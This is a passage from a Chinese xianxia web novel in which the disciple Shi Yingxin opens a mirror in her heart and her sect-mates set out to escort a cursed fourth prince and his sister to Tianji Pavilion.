明易发现她这段时间越发敏锐起来,心下有些安慰:“万事树因果牌确实是我们归壹派与其他仙门不同的地方,不过此事我也不知其详,只知道万事树是天赐神树,也许是上天予以八大仙门之首的特殊职责。” “哦,原来是天降大任。” 怪不得其他仙门都要给归壹派面子,配合他们做任务…… 而且这万事树来历这么大,因果牌上的任务应不是表面上看得那么简单吧?可是…… 二人话说到这,陈久办完事过来了。先是关怀了映心,见她除了头发乱糟糟之外没什么大碍,也松了口气,送了她一些灵石当报酬就让她回去休息了。 石映心回到石头洞,照镜子的时候看见自己形象确实有些狼狈,一边拆了重新梳理一边想:照人之法是厉害不错,窥探人心是好玩不错……但她其实不喜欢鬼上身后那种失控的感觉。 如果有办法能在鬼上身的时候也保持自我意识……或者说,能只照见别人所思所想而不用鬼上身就好了。 不过她只照别人情绪的时候就是这样的,为何偏偏照所思所想的时候需要鬼上身呢?先前似乎听师父说过,她在成为有三魂七魄的石映心之前,是能够直接读心的…… 这是不是意味着她其实有这样的“功能”,而在得了凡心和七魄之后,这功能“退化”了? 倒不是不能理解,毕竟她现在也不是单纯的“镜灵”。世间万物似乎都是有舍有得,可是…… 难道真的没有办法了吗? 唉,偏偏这奇招师父师公他们也都不清楚…… 石映心摇摇头,本想暂且放下这些思绪,偏偏做什么事都心不在焉起来,平日练剑都专心致志的,这会练剑招总觉得差点精神气。天上刚落了雨她就收起了剑,兴致缺缺地回了石头洞。 那就躺在床上看话本吧……也看不进去。干脆和床顶干瞪眼,瞪了一会忽见屋中猛地一闪,紧接着就是轰轰的雷声伴着哗啦啦的暴雨打地的动静。 石映心猛然从床上坐了起来——她想到几月前渡雷劫的时候,自己体内好似有一面镜子被打破了,然后她一直煎熬地在补镜子……可她体内怎么会有镜子呢?灵气都是储存在丹田里的呀…… 多想无益,进去看看! 轰—— 石映心在床上打坐,雷电暴雨声让她的心更静,蓝光闪过她阖眼的脸,显出一丝在她脸上难得看到的肃穆。 入元婴之后,用灵识探查体内就非常得心应手了,只是她顺着经脉找过了,又去丹田里翻了两圈,没有瞧见什么镜子啊?难道是在眼睛后边?游过去探了探,还是什么都没有…… 奇了怪了,她明明记得自己在补镜子!当时疼得好似镜的碎片在她的经脉中流淌,扎得她以为自己的奇经八脉要裂掉了……对了,经脉灵血从心处来,不如进寸心里找找? 于是找进一鼓一鼓的寸心里,她似乎没来过这,好奇地步步引进,这下居然真让她发现了——这面被心严严实实包裹着的,大概只有半个心大的镜子。她果然没记错。 石映心用灵识化作人形,站在一鼓一鼓的心肉上照镜子,但奇怪的是,镜面中什么也照不见,只是澄澈的镜面,连边上的血肉也没有。伸手一摸,竟然烫得吓人。 她的照人之术应是与这面镜子有关了,石映心想,可这面镜子似乎“坏”了,不然怎么会照不见人呢……对了!这镜子前身是宝器,不如去问问二师兄,如果宝器坏了要怎么修? 好主意好主意。石映心从体内出来,当即就要去找二师兄,但双脚刚沾地,面前又闪过一道雷光,屋外的雨声大得好像砸在她耳朵里。嗐,算了算了,起码已经找到线索。 先睡个好觉吧。 隔日。 石映心在二师兄的炼器房里一般是没位置坐的,里头实在是太乱了,大部分时候顾梦真自己也是席地而坐。 她蓬头垢面的二师兄听了她的阐述后,手摸下巴时把自己的脸涂得更黑了:“嘶……长在心里的镜子吗?那肯定不是普通宝器了。一般的宝器损坏后要查验损坏程度,再看能不能通过什么灵物补救……但也是要放入炼器炉中重造的,你心中的镜子拿得出来吗?” 石映心说拿不出来,仿佛长在里面了,如果心能取出来的话她可以试试。 这家伙语气认真,顾梦真听不出她是不是在开玩笑,连忙摆手道:“别别别乱来啊!我们再想想办法嘛。” “嗯,你想想办法,二师兄。”—— 作者有话说:八月快乐 第78章 顾梦真就在藏书阁研究了两日,废寝忘食地想到了一个也许可行的办法,兴冲冲地找到了在黑竹林练剑的师妹,告之:“你这情况真是没见过,我翻遍了古书也没有记载……不过你说先前打坐调息时从未发现过这面镜子,说明它与你现下的丹田灵力来自不同渊源,里头很可能藏着你照人之术的奥秘……” “不如你试着同小时候开辟丹田一般,重新引气入体,但这次将灵气引入心镜中,试试能不能破开镜外的屏障。” 石映心觉得二师兄说得很有道理。 等二师兄走了,她把剑往边上一放,屁股一坐双脚一盘就开始引气入体。得心应手地顺着记忆将灵气引到心镜面前,然后试探地往里头引去;好在是能进去的,按照她先前开辟丹田的经验,只要心镜吸收了一定量的灵气就能被开启。 于是她就开始了漫长的开镜之旅。 黑竹林植株茂盛,灵气充沛,是很适宜吸收天地精华的宝地。舞剑时挥剑唰唰声伴着风吹竹叶有些隐秘肃杀的气氛,静心打坐时就是别有一番清净风味。 石映心坐定着,好奇的竹叶偶尔飘来试探她,人还是佁然不动。她专心转化灵气的速度很快,效率也高,只是和先前不同的是:这次的进程非常慢。 从白日到黑夜,整整四个时辰,引入了大量的灵气之后,心镜的屏障居然还未被破开。就在石映心以为这个办法行不通时,却见镜面中隐约出现了一个十分模糊的……人影?连手脚的位置都难以辨别。 这是她吗?石映心举起手来挥了挥,瞧不清楚啊;她就跳了几下,这才看见镜中的影子随着往上跳了跳。 真的是她。 看来二师兄的办法是有用的,也许等这心镜能够像寻常镜子一般照见她时,就算是开镜成功了?只是她几乎花了一日时间也才照见这么一点点模糊的影子,越往后定是越难的,不知还要等多久呢? 不过找到办法之后,石映心轻松不少,舒了口气将灵识归位。睁眼一看,黑竹林一片漆黑,已经很晚了。 哈——回石头洞睡觉! 隔日她把这事告诉了师父,师父自己拿不定主意又去告诉了师公,大师兄从二师兄那得知消息也过来了。这世上最会念叨的三个人聚在一起嘀咕嘀咕,石映心简直不能和他们待在一个屋里,丢下一句“要去练剑”就跑了。 她练了半天的剑后就继续开镜,坐在那眼睛一闭一张又是天黑了,不过这次除了黑黢黢的竹林外,还有一个身影站在边上。 “大师兄?” 明易走近来,从他云淡风轻的表情上看不出他在这里站了多久:“是不是不管师父师公怎么说,你都要继续开镜?” 石映心拍拍衣服站起来,“嗯”了一声点点头。 明易盯了她几瞬,颔首道:“好,不过若是遇到任何古怪之处,一定要告诉我们,最怕危及性命和走火入魔。” “我知道。”石映心听大师兄那么说还以为他要反对呢,没想到是同意了,喜笑颜开道,“我是归壹派的弟子,就是做坏事也会坦坦荡荡的。” 明易:…… 好像有哪里不对但是算了先这样吧。 事情就这么谨慎又糊里糊涂地决定了。 之后的石映心便开始了忙碌的开镜修炼,常常是天刚亮就起来去黑竹林练剑,练一两个时辰就开始打坐引气入体。平日到了饭点还要飞去午膳晚膳的她居然没了贪吃的念头,往那一坐就是石头,不到亥时不起来。 长这么大都没这么勤奋过哈。 她这么刻苦,最不适应的就是小师妹了,以前每日都能见师姐两回,吃饭的时候还能一起嘻嘻哈哈的;现在师姐一副倒数100天冲刺高考的架势,看得她是又委屈又惶恐。 没了师姐和她玩和她讨论话本剧情,她连看话本的兴致都寥寥无几,干脆也麻木地修炼起来,日日安分地待在师父边上画符画阵,叫慕雲有些刮目相看。 日子本该寻常,只是没过几日,明易接到了下山的任务,这次是万事堂的陶远师叔专门指派给他的,还叫他寻几个熟悉的弟子一起下山。 “什么几个熟悉的弟子,陶远师叔也太见外了,”顾梦真嘿嘿道,“直接报我和映心的名字就好了嘛!” 曾换月举手:“还有我还有我!” 石映心问:“大师兄,这次是要去哪?既然是师叔指派的任务,应该是很明确的?” “说明确也不太明确。”明易瞧着有些头疼,“具体是让我们去护送童四皇子到天机阁,还要找出杀害几位皇子和先皇的凶手。” 石映心还记得:“这是之前红头发说的事?” 顾梦真:“红头发是谁?” 明易:“嗯。” 顾梦真:“红头发是谁!” 明易只好给他简单解释几句。 曾换月则是懵了一会,怎么突然从修仙变成权谋悬疑频道了?虽说她也知道人间有皇室,但天高皇帝远,她对这些皇宫的事非常没有实感,但是……好想去看看啊!! “我要去我要去!”小师妹嚷嚷起来,“带我去带我去嘛!!” 明易不堪其扰,伸手示意她安静:“好了!陶远师叔若同意了,师父也不会为难你的。”意思是他说得没用,赶紧纠缠师父师叔去吧。 曾换月想想也是,转头就要去找陶远。 三人继续讨论着,明易说等会还要去求因果牌,石映心问为什么,他解释道:“如果接到没有头绪的任务,下山前也可去万事树下一问。若是万事树没有指示,则无事发生;有指示则会有因果牌送来。” 说到这,他的眉头不自觉皱起来:“皇室纠纷一般不归八大仙门管,而且我听说天机阁已经派人去护送四皇子了,陶远师叔还要叫我们去……看来此事非同寻常。” 顾梦真问:“陶远师叔有说为何吗?” 明易道:“只说我们去了便知道了。” 石映心说:“这还不如问万事树呢。” 二人也这么觉得。 总之还是去问了万事树,得了一块因果牌,上头写着:【身与名俱灭,日同月共亡】 石映心默了默:“早知道不问了。” 二人很难不同意。 嫌弃什么呢?得了牌就收着吧。 不知道曾换月在陶远那使了什么招数,总归是死缠烂打、软磨硬泡那套,她最有这些耐心了,在此事上显出了难得的天赋,总而言之是让陶远答应了。既然师叔都答应了,师父那边就好说许多: 师父:“曾换月,你居然一而再、再而三地要违背门规!” 徒儿:“师父您换个角度想想,我 一而再再而三也没出岔子呀,难道师姐她们的任务完成没有我一份功劳吗?” 师父:“待在山上安心修炼不好么?早日入元婴就不必这么言不正名不顺了。” 徒儿:“师父您换个角度想想,师姐她们下山了,我的心也会飞走的,到时只留个肉身在这了,简直是荒度光阴啊!还不如跟着师姐她们一同历练,也许还能得些机缘呢?” 师父:“就是我不同意你也要想尽办法是不是?” 徒儿:“师父您换个角度想想,反正您不同意我也要想尽办法,届时不小心出了什么岔子那更糟了,就像上次害师姐落水的事……所以不如您就同意了,我再好好做准备,肯定不拖师姐她们的后腿……” 师父:“。” 徒儿:“而且陶远师叔都答应了!” 师父:…… 无话可说地同意了。又警告道:“事不过三,这是第三次,为师告诉你,若下次你还想未入元婴就下山,我就把你关在戒律堂牢狱里,叫你变苍蝇变蚂蚁想尽办法都出不去!” 曾换月擦了把额上冒出来的冷汗,连连点头同意了,瞧着很安分。 等出了云雨峰,那些焦虑的心情就被抛到了脑后,高高兴兴地飞去石头洞要和师姐分享这个好消息,结果发现没找着人;想了想又飞去了黑竹林,果然瞧见师姐在幽幽竹林间打坐修炼。 唉……曾换月蹲在师姐边上,双手撑着下巴看着她,心里有些寂寞地觉得自己这几日体验了一把留守儿童的可怜。她当然是想师姐越强越好,但是这几日见得少了,就有种隐隐的还害怕,总觉得师姐要离她越来越远…… 可师姐明明是……这个世界最懂她、和她最要好的人。 刚穿到这里的时候也只有她相信了自己的话,虽然是照……照?难道师姐是照出来了她和“曾换月”的不同吗? 那是哪里不同呢? 早已经习惯小师妹身份的曾换月,这一刻又想起以前的事,她还记得之前刚来的时候是很想回家的,现在是能压下这思念,只偶尔想起这茬…… 还想回去吗?当然是想的。但她又不想离开这里、离开师姐师父师兄,离开归壹派;曾经她也在想:难道世界上没有两全之法,能让她穿梭在两个世界之间,就像某个动画片一样…… 嗐,连回去的办法都没找到就想着两全其美了。 不过也许只要找到她当时为何到这来的秘密就会有头绪…… 这秘密肯定和阵法有关。这种穿梭时空的仙法不就和仙门驿站的传送阵法很像吗?再说到阵法,八大仙门中自然是天机阁的阵法最为出名,这次机会难得,她定要去一探究竟…… 在此之前。 曾换月回过神来,望着面前认真打坐的师姐,下定决心般地站了起来,握拳打气道:她一定要好好修炼、精进功法!不然就是得了阵法也画不出来,还要给师姐她们惹出麻烦。 加油啊,曾换月! 第79章 远行的日子很快到来。 这次大家都很熟练了,行囊背起来,有些蓄势待发的小激动。慕雲嘱咐徒弟们:“四皇子一行只是凡人,你们护送他去天机阁少不了费劲;皇家的人规矩多,给修仙人士也只有几分薄面,不必同他们讲究;早去早回吧。最好在年关之前回来。” 徒弟们乖乖点点头说好。 师父又来回念叨了几句“路上注意安全”“好好照顾师妹”“别添麻烦”云云,总算放他们走了。 因着师兄姐们先前讨论路线的时候小师妹在死缠烂打地求情,这会从山上去归壹派驿站的路上,明易给她解释此行的大致路线: 首先自然是先从他们的仙门驿站出发,传送到四皇子如今所在地:涿鹿。再从涿鹿南部驿站传送至洛邑;从洛邑行至桃林塞,再从桃林塞驿站传送去天机阁,这样算是送到了。 至于为什么不能直接从涿鹿传送去天机阁,因洛邑至桃林塞一段前几日遭袭,出了故障。估计是红头发那类得了消息的邪修干的好事。说到这大家也明白了,此次任务的一大难点就是这些闲杂人等还有妖怪的干扰。 目前她们了解的情况就是这样,其他的等见了任务目标再说。 不过……这个涿鹿怎么听着有点耳熟呢? 曾换月摸着下巴想了想,想不起来,算了! 归壹派驿站==> ===>涿鹿驿站 一出驿站,几人便被面前的雾迷了眼睛。所见之处皆是迷雾一片,灰蒙蒙之间偶尔显出一些树木房屋的轮廓。石映心伸手往雾中一抓,一手湿气。 “怎么回事啊,大中午的时间这里雾还这么大?”曾换月瞪大眼睛也瞅不明白,“这雾里有古怪!?” 她们还在驿站门口,边上的看守大哥解释道:“几位道友有所不知,这雾已经弥漫了两天两夜了,晌午的日头都照不进来,而且范围很广,城里都被遮蔽了大半;实是古怪得很,过路的百姓们这两日都是灯不离手。不过雾中并无妖魔鬼怪,暂且没有出现伤亡。” 又热心地问她们要不要油灯,驿站可以免费提供一盏。 大家说谢谢不用了,顾梦真掏了他的加强版辟邪灯出来,几人身边的雾骤然散开。看守大哥略惊道:“嚯,你们这油灯是挺好用,能卖我一盏吗?” 明易客气道:“道友不必忧心,这雾不久便会散去。” 看守大哥知道他们是归壹派来的,闻言也不多问,只松了口气道:“那就成,一日两日的还好熬,总不能一直这样啊,百姓如何过日子呢?” 这确实。 石映心这时候问:“他们在哪等我们?” 明易:“九黎旅舍。” 便问看守大哥九黎旅舍在哪,说是在城外五里处,敢情他们还没入城呢。驿站在城外一里远,也就是说他们要去四里远外的旅舍把那几人接过来。 与看守大哥告辞后,几人跟在拿着辟邪灯的顾梦真身后进入了雾中,石映心没走两步就发现了古怪之处:“我们的气息消失了。” 曾换月皱起鼻子嗅了嗅,一鼻子雾气,差点打了个哈欠。又听大师兄道:“这么大范围的迷雾,应是天机阁为了隐藏他们一行人的气息而设下的阵法。” 顾梦真以为然:“怪不得,不然这么大费周章也挺耗费灵石灵力的。” 曾换月不喜欢这种湿漉漉又迷蒙蒙的环境,建议道:“我们赶紧飞过去吧。” 明易却摇摇头道:“迷雾阵法,应是飞不上去;当然,在空中飞的妖怪也进不来。” “啊?”曾换月撇了撇嘴,“好吧,那我们走吧。” 几人便跟着辟邪灯进入雾中,好在加强版的辟邪灯很给力,灯光能够将他们笼罩后还照出几步范围。 正如看守大哥所说,雾中除了看不清路之外没有什么危险。四里路也不远,本是一刻钟多一会就能走到,但因为雾气碍事,还是走了两刻钟。 虽说路途并不遥远,但等他们看到旅舍在雾中的掠影时还是松了口气。走近一些,就看见几个侍卫肃然站在门口,腰间别着刀剑。一瞧见他们,立刻有人喝道:“来者何人!” 曾换月扒拉着师姐的胳膊吐槽:“啧啧啧,不愧是宫里的兵,气势比衙役老爷还骇人哦。” 石映心点头表示赞同。 明易上前交谈过后,又给他们看了归壹派令牌。守门口的两个侍卫却还是很警惕地交头接耳了一番,还要说先去禀报了殿下才能让他们进去。 四人:真麻烦。 没办法,只好等那个侍卫跑进去跑出来,然后再领头带他们进去。好歹这下态度是客气了一点,称呼他们“仙人”呢。 进了旅舍,瞧见里头也沿路站了两排的侍卫,顾梦真诧异道:“这么多人怎么赶路啊?” 领头的侍卫道:“一切都是为了保护殿下的安全。” 曾换月:“太耽搁时间了,而且我们也没办法一时保护这么多人。” 领头的侍卫道:“几位不必在意卑职等人,殿下的安全最重要。” 四人:……行行行。 进了旅舍大堂,没有客人,只瞧见几个宫女和太监打扮的人。瞧见他们来了,有个年长的太监带着两个宫女迎上来,客客气气地行礼问好:“想来几位便是归壹派的仙人,奴才先前只是略有耳闻,今日一见果真是超凡脱俗、仙姿玉貌!真是幸会幸会……” 宫里的人夸人就是客气好听,曾换月呵呵地想:“还好啦还好啦,我也难得见到你们这些阵仗……对了你们殿下呢?” 陈公公毕恭毕敬道:“殿下在二楼已经等候几位多时。” 那就去见见吧。 上楼的时候石映心好奇地问:“听说你们前几个皇子当了皇上之后很快都死了,那现在这个四皇子已经是皇上了吗?” 她这一句话里有太多大不敬的话,陈公公差点从楼梯上滑下去,发抖的手坚强地撑着扶手道:“石仙人真是幽默风趣爱开玩笑,殿下……还是殿下。” “殿下是什么?” 看过宫斗剧的小师妹:“皇上才叫陛下,殿下就是皇子啊这些。” 石映心便明白了,又和陈公公道:“你话说明白些,我不喜欢别人和我吞吞吐吐地说话。” 陈公公:…… 上了二楼往里头走,走到最高档的头房,又能见几个站在门口的侍卫,大家这会已经见怪不怪了。陈公公停在门口,先是敲了敲门,有一个宫女把门打开,陈公公就说:“快去禀报殿下,归壹派的几位仙人到了。” 宫女很规矩地应了一声,转身就往里走。 四人:……不是,就在门口了还要这样? 算了算了,只能入乡随俗地等一等。等宫女走回来,再和陈公公一起引她们进去。进了屋里,就见一宽敞的正厅,中间的扶手椅上颇有气势地坐着一位华服少年,脸上带了些很浅的微笑,长得也俊朗。大概这就是四皇子了。 四皇子边上还站了二人,皆是藏蓝色衣袍,一男一女,竟然是熟悉的面孔。 “姬滢!?”曾换月先认了出来,语气有些惊喜,“怎么在这里见到你?好巧!” 陈公公:“咳咳……” 姬滢似乎也有些惊喜,不过没她那么激动,只是朝几人笑了笑:“原来是你们几位,看来我们确实有缘。” 陈公公:“那个……” 石映心瞥了眼周赫,又问姬滢道:“你的姐姐没来吗?” 姬滢摇摇头说:“姐姐有别的要事。” 周赫瞧见她无感的眼神:“石道友,难道我来不行?” 陈公公:“几位……” 石映心:“随便你在哪,我只是问姬漓。” 周赫:…… “咳咳!”真是惊天动地的两声咳嗽,陈公公擦了擦满额汗珠,总算把几人的注意力拉了回来,等大家都看着他了,他就恭恭敬敬地给一直没说话的四皇子行了一礼: “奴才参见殿下,这几位便是归壹派的仙人了。” 又转头不轻不重道:“几位仙人,还请给我们殿下行礼。” 行礼?行谁家的礼? 几位仙人对视一眼,谁都还没有动作。倒是他们殿下先发话了,手一挥道:“陈公公,本王先前同你说过,几位仙人都是世外之人,这些繁文缛节就不必对她们讲究了。” 陈公公弯下去的老背顿了一下,又深了下去一些:“是,是奴才糊涂了。” 四皇子下巴一抬:“都出去吧。” 这里的“都”指的是陈公公和几位服侍的宫女。等她们都出去了,四皇子脸上的笑容就更大了一些,他站起来道:“归壹派是在人间也赫赫有名的正派仙门,果然几位仙人一看就气度不凡;有你们与天机阁的两位一同护送,本王很放心。” 这个四皇子说话还是好听的,大伙因此放松了一些。 明易正要和他客气两句,就听师妹问:“怎么称呼你?” 周赫在边上说:“叫四皇子殿下便是了。” 石映心:“这就是他的名字?” 周赫也是无语:“不是,石道友,人家贵为皇子,你还想称呼他大名吗?你叫两句外边那些太监宫女的都要吓死了。” 石映心皱起眉头:“凡人哪有这么容易死?” 周赫:“你这人……” 明易:“映心……” “好了好了。”四皇子面带笑意地劝止二人,好说话道,“姓名与尊称都不过是一个称呼罢了,你们随意便好。我姓童,童嘉文。不知几位仙人怎么称呼?” 于是大家交换了姓名,气氛似乎也更融洽了一些。 众人简单寒暄了几句,明易正要问关于迷雾的事,却听门口传来一阵喧嚣。 第80章 “大胆!你们竟敢拦我!?”气势汹汹的女声。 “公主,殿下正在屋里会见贵客……”陈公公压低的讨好声。 “有什么贵客是我不能见的?” “不是不能见,只是……” “你给我让开!” 紧接着便是破门的声音,公公自然是拦不住公主的,只得亦步亦趋地跟进来,再唯唯诺诺地给他主子请罪道歉。 好在童嘉文很好说话:“无碍,你出去吧。” 陈公公赶紧退下。 大伙好奇地看着这位公主,见她华服加身,带着面纱,一双漂亮上挑的眼睛和四皇子十分相似,这会正瞪起来一一打量几人呢。 童嘉文在边上说:“这位是我的皇妹,柔意。”又给他妹妹简单介绍了几人。 这一下子又多了位重量级人物,曾换月感到一些压力:“我们不是就护送你一人吗,公主怎么也在?” 童柔意闻言,立刻瞪她:“本宫在哪还需和你交代?” 曾换月也瞪眼:“啊?我不是这意思……” “柔意,”童嘉文立刻道,“你对几位仙人客气一些,是我们求人家办事。” “你!”他妹妹竟然瞪了他一眼,似乎还想不客气呢,好在是忍了下来,“行,你们在这说什么?有什么是本宫不能听的?” 童嘉文就给她倒了杯茶:“没什么你不能听的,你要听就坐下来,一边喝茶一边听吧。” 童柔意给面子地坐了下来,不再给他们眼神,似乎还有些余气。 明易瞥了眼公主,见她消停了,才提起刚刚的话题:“姬道友,周道友,外边的迷雾阵法可是出自你们之手?” 姬滢只是点了点头,周赫在边上补充道:“师妹卜算到这条道上有些危险,仅凭我们二人之力怕是走不过这四里路,故只好在此停脚等你们到来,用迷雾阵法隐秘行踪,防御外敌。” 顾梦真道:“可我们方才就是从涿鹿驿站走来的,没遇到什么危险啊。” 姬滢摇摇头:“那些邪修妖鬼像鬣狗一般,嗅到皇室血脉的味道便要扑来,寻常气息提不起他们的兴致。” 曾换月一撇嘴:“哦,是我们不配了。” 童柔意忽然轻笑了一声。 几人:? 大家都有些莫名,不知道她在笑什么。但石映心看看她,又看看边上的童嘉文,忽然道:“既然这样,为什么还要带着童柔意呢?两个人的体味总比一人重。” 童柔意一拍桌子:“大胆!你竟敢直呼本宫的名讳!” 紧接着又补充石映心的另两条过错:“难道本宫去哪需要你同意?还有你说谁有体味!?” 真是一声比一声层层递进的高昂,这磅礴的皇家气势给几位仙人唬得一愣一愣的,皆是有些不知所措。还是曾换月先反应过来,指着她嚷嚷道:“你凶什么凶?公主了不起啊!?” 童柔意一下好生气,伸手把她的手指打掉:“你竟敢指我!” “指你怎么了!”曾换月被打掉的手又抬起来,一根手指头咄咄逼近,仿佛要戳歪公主的鼻子,“你再给我嚣张跋扈试试!信不信我给你好看?” “你!” 从没有人敢这么对童柔意,故她睁大眼睛也很震惊,一时不知如何反驳面前的无礼之人。但贵为皇室的孩子,办法总是有老一套的。比如挥手把茶盏往地上一摔,然后大叫道:“来人那!” 下一刻,将落地的茶盏停在了空中离地一寸,勉强保住了小命——这是明易帮的忙。 喊人的余音戛然而止,童柔意面色凝固在张大嘴巴瞪圆眼睛的模样——这是石映心做的好事。 屋内猝不及防地静下来,门口传来不轻不重的敲门声:“殿下,公主,有何吩咐?” 童嘉文也是松了口气,朗声道:“本王没事。” 和木头人转过来的眼珠子对上,童嘉文移开视线,站起来把僵硬的妹妹拉过坐到扶手椅上,好声好气地说:“柔意你也累了,就坐着歇一歇吧。” 目瞪口呆的童柔意:。 安顿好妹妹,童嘉文又给几位仙人赔罪,说一些“柔意自小娇生惯养,请几位见谅,不要介意”巴拉巴拉,态度颇好。 气呼呼的曾换月听了,心情舒缓了许多;石映心本没有生气,只是很多莫名其妙,觉得这个童柔意像随点随燃的炮仗,不知哪句话惹她生气了就要噼里啪啦,一惊一乍地吓人。 那就变成木头人消停会吧。 现在总算能谈正事了。 明易仔细问了死去的四人的事,主要是问死因和他们目前调查的进展。童嘉文一一耐心地解答了,只可惜他知道的也不多: “父皇死于夜间暴毙。当晚宫女和侍卫在门口守夜,忽然听见一声惨叫,似乎是在喊‘鬼啊’;当即破门而入,却见父皇目眦具裂地倒在地上,七窍流血,面容惊惧,仿若真的是见了鬼后被吓死了。后经验尸,发现父皇并无外伤,但体内经脉俱裂,凶手不知是如何做到的……” “太子大哥也是这般的死状,不过那晚有贵妃侍寝,可贵妃却说当晚她睡得很沉,就连大哥惨叫的声音也没听到,直到宫女把她摇醒,她才知道大哥死了……而且是倒头死在了榻上。” “接着是二哥。父皇和大哥死后,二哥并没有举行登基大典,但已然坐上了皇位操持朝政。当时前朝后宫都是人人自危、惶恐不安;二哥为稳住大局常常废寝忘食,在书房中就睡去了……知道有一日陈公公进屋里喊他上朝,才发现他死在了书案前,虽没有惊惧面容,但依旧是七窍流血,经脉俱裂……” “接连死了四人,三哥十分警惕害怕,命数十名高手侍卫常护左右,几乎是吃住同行,寸步不离,三哥甚至不敢就寝。但此时宫中死了三位皇室的消息以传了出去,不知为何招来了一些妖魔邪修。” “好在皇城有龙气庇护,宫内又有几年前天机阁大能留下的屏障阵法,叫那些妖邪不能入内……” 说到这里他叹了口气,朝姬滢和周赫苦笑一声:“三哥命人去请二位仙人,但他却没等得及……唉。至此,我父皇所有皇子之中,只剩下了……本王。若我一死,皇位便无人继承,前朝后宫,人间百姓,轻则动荡不安,重则战火四起、民不聊生。” “好在姬仙人卜出一卦,说是我们童家血脉遭到诅咒,若不赶紧破咒,就是我躲过妖邪侵袭,不过几日也会死去……”童嘉文的眉头深深地皱起,“可这诅咒诡秘莫测,就是姬仙人她们也没办法,如今只有一个办法……” 他忧愁的双目望向姬滢,后者点点头道:“嗯,只有我们天机阁的偷天神阵才能破咒。不过此阵法只能在我阁中圣地举行。” 所以才要护送四皇子去天机阁啊……但是,曾换月有个疑点:“这偷天神阵听着很厉害。可是阵法不是只要画出来了,再用灵符或者口诀启动便成了吗?你这阵法的特殊之处在哪?” 姬滢看向她道:“特殊在此阵埋在圣地之下,其实我们并不知晓阵法的图样,若是破坏了圣地,只怕阵法也会毁坏,故无法得知。只知道这是上古流传下来的神阵,说不清它的详细作用,但它无所不能,可偷天换月。” 说到这又朝童嘉文颔首道:“像四皇子这种情况,我小时候见阁主启用过一回偷天神阵,帮了一个中了奇咒将要死的人重获生机。” 大伙听了都是提了口气,这么厉害啊…… 曾换月张了张嘴,似乎想要说什么,但瞥了眼坐在那还瞪着眼睛不嫌累的童柔意,默默地把嘴巴闭上了。 了解了大致经过,明易再询问了一些细节:“可有关于这奇咒的线索?” “有。” 姬滢点点头,从储物空间中变出一个红木缣箱出来递给明易,童嘉文在边上解释道:“后来经皇城司调查,父皇和大哥死去的寝宫、二哥和三哥的书房中……都挂着此画。我不敢随意带在身边,只好交予姬仙人保管。” 顾梦真瞅了眼箱子,警惕道:“不会是看了画的人就会受到诅咒吧?” 姬滢:“诅咒已在童家血脉之中。” 就是其他人再看也没关系的意思。 明易便把箱子打开,拿出画卷打开,几人凑过头去看: 就见这画上有一个迈着腿大步奔跑的壮硕之人的黑色侧影,身上几块布料潦草地遮住重点部位,长发粗糙地飘逸着像风吹的柳条,他一手拿着一把两条长蛇缠绕的木棍,往前高举着像是对画卷最边上的烈日宣战。这人还戴了耳坠,左右各一条长长的蛇,蛇头咬在厚厚的耳垂上。 曾换月只看一眼便喃喃道:“夸父逐日……” 众人都奇特地看着她,童嘉文有些惊讶道:“曾仙人竟也知道这个民间传说?我原以为只有幽冥洲这一带的百姓知晓。” “额……哈哈,”曾换月挠挠脸,“只是略有耳闻,其实也不太了解的。” 顾梦真打趣道:“看来你平时的话本没白看啊。” 曾换月乜他一眼,倒也没反驳。 石映心好奇地问小师妹:“这画上讲的是什么故事?” 曾换月不确定自己后来得知的版本和幽冥洲的版本是不是一样的,便礼让道:“让四皇子说呗。” 四皇子也没推辞,简单地讲述了故事的概要,石映心听后道:“原来这个夸父是男人,他在画中戴着耳坠,我还以为是女子。” 四皇子笑道:“这可不是普通的女子耳坠,是两条黄蛇。” 石映心:“我也没见过珥黄蛇的男子。” 童嘉文一顿:“……倒也是。”【】 80-90 第81章 顾梦真又问道:“这夸父逐日的传说可是真的?许久之前真有这个叫夸父的人吗?” 童嘉文摇摇头道:“这我便不清楚了,事情过去这么久,也无法考究……” 明易打量着手中的画卷:“诅咒和这幅画有何关系?这幅画上并没有阴邪之气。” 周赫耸了耸肩道:“这也是我们没想明白的,目前只是想把这画收着当个可能的线索。” 明易点头表示了解。曾换月又问:“还有一个问题,这个公主为何也要随行?” 还在定身中的公主果然又瞪她。 童嘉文叹了口气解释道:“柔意是我同母的亲妹妹,如今宫里太危险,我怕那些邪修找不到我会对她下手。她……她也不放心我。只好劳烦几位仙人多费些心力了,等事成之后,本王必有重谢。” 都走到这了,那些侍卫宫女丫鬟就算了,这高贵的公主是不可能留下来的。 不过话说到此,石映心想到一个盲点:“童柔意也中了诅咒吗?” 场面莫名一静,是姬滢说:“没有。” 石映心眉头一挑:“你们方才说这诅咒在童家血脉里,难道童柔意不是童家血脉?” “她自然是。”姬滢说,“不过这诅咒只在流着童家血脉的男子之中。” 皇家血脉……又要男子? “欸!”曾换月一拍手,“是不是只要登基就会死啊?先皇本就是皇帝,大皇子也登基了,二皇子三皇子虽没有办仪式但已有皇帝之实……” “哦~”她看着童嘉文越听越苍白的难看脸色,知道自己猜中真相,一拍手道,“国不可一日无主,所以你要早点解决诅咒回去登基,不然江山就没啦!” 童嘉文还能说什么:“……唉。” 姬滢朝她一笑:“换月都说对了,不过这只是我们目前的猜测,也不能确定不登基就不会死……总之,还是要解决诅咒。” 大家点点头表示了解。 明易将画卷放回红木缣箱,递还给姬滢道:“事不宜迟,我们现在走,不过……” 他往门口的地方看了眼:“无关紧要的人就不必带了。” 童嘉文:“只怕柔意没人伺候会不方便……” 明易:“那她也留下。” 童嘉文:…… 好吧好吧,识时务者为俊杰,公主皇子都只能将就一下了。 石映心将解开童柔意身上的法术,后者浑身的僵硬猛然得了放松,一时瘫软在扶手椅上,面纱外的双眼像两片蔫蔫的花瓣,只有一张嘴还在逞强:“你们这些大胆之徒,竟敢对本宫无礼……” 石映心瞅着她说:“其实我也能让你变成哑巴。” 童柔意:…… 瞪她一眼,公主站起来道:“呵,你们这些什么派什么阁的仙人,想来都是没学过宫中规矩的,本宫就不同你们计较了。” 曾换月翻白眼:“行了吧你,还在这叽叽歪歪的,要跟我们走就赶紧收拾东西去,不然别怪我们丢下你。” 童柔意却是不急,乜了他哥哥一眼道:“你们不等,四皇子也要等。” 四皇子好声好气地劝她:“柔意,快去收拾东西,我们早去早回。” 童柔意“哼”了一声,一甩袖子总算出门去。 等公主皇子收拾行囊的空档,明易问外头的迷雾阵法还能撑多久,姬滢说不出意外的话还能撑半个时辰。这么算一算从旅舍走去驿站完全来得及。 ……但话都这么说了那肯定是要出意外的。 